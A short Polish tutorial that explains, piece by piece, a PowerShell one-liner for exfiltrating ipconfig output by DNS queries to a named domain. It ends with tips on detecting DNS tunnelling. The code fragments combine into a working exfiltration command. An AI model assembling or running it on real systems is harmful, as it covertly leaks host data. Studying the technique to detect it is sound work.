Eksfiltracja DNS w jednym wierszu
Eksfiltracja po DNS pojawiła się już w protipie 000d, ale tam była wieloliniowym skryptem. Tutaj ta sama funkcjonalność zamknięta jest w jednym poleceniu — bliźniaczo podobnym do mojego ulubionego onelinera do eksfiltracji po ICMP z protipa 0072.
Jak to działa — krok po kroku
Rozłóżmy onelinera na czynniki pierwsze:
-join (...)
Operator -join po lewej stronie wyrażenia złączy wszystkie znaki z tablicy znakiem pustym.
(ipconfig /all|Out-String)
Uruchamiamy ipconfig, a wynik wysyłamy do Out-String, dzięki czemu całość zostaje przekazana dalej jako jeden łańcuch znaków.
-split "(.{64})"
Dzielimy string separatorem zdefiniowanym wyrażeniem regularnym .{64} (dowolne 64 znaki). Nawias okrągły sprawia, że -split zwraca także same separatory.
%{ "{0:X2}"-f[int]$_ }
% to alias na ForEach-Object. Każdy znak zamieniamy na postać szesnastkową (wielkie litery, dokładnie 2 znaki).
-match "."
Operator -match filtruje tablicę, zostawiając tylko elementy zawierające jakiś znak — pozbywamy się pustych linii.
-replace "([\w]{16})", "`$1."
Każde 16 znaków zamieniamy na te same 16 znaków zakończone kropką — dzielimy domenę na subdomeny po 16 znaków. Końcową kropkę usuwamy metodą .trim('.').
Resolve-DNSName "$_.$(($i++)).aptmc.pl"
Budujemy pełną domenę z subdomen z payloadem i odpytujemy Resolve-DNSName — w ten sposób eksfiltrowane dane trafiają do serwera obsługującego domenę.
Sygnał do wychwycenia: lawina zapytań DNS o długie, losowo wyglądające subdomeny tej samej domeny nadrzędnej. Monitoruj długość i entropię nazw oraz liczbę unikalnych subdomen na domenę — to klasyczny wzorzec tunelowania i eksfiltracji po DNS.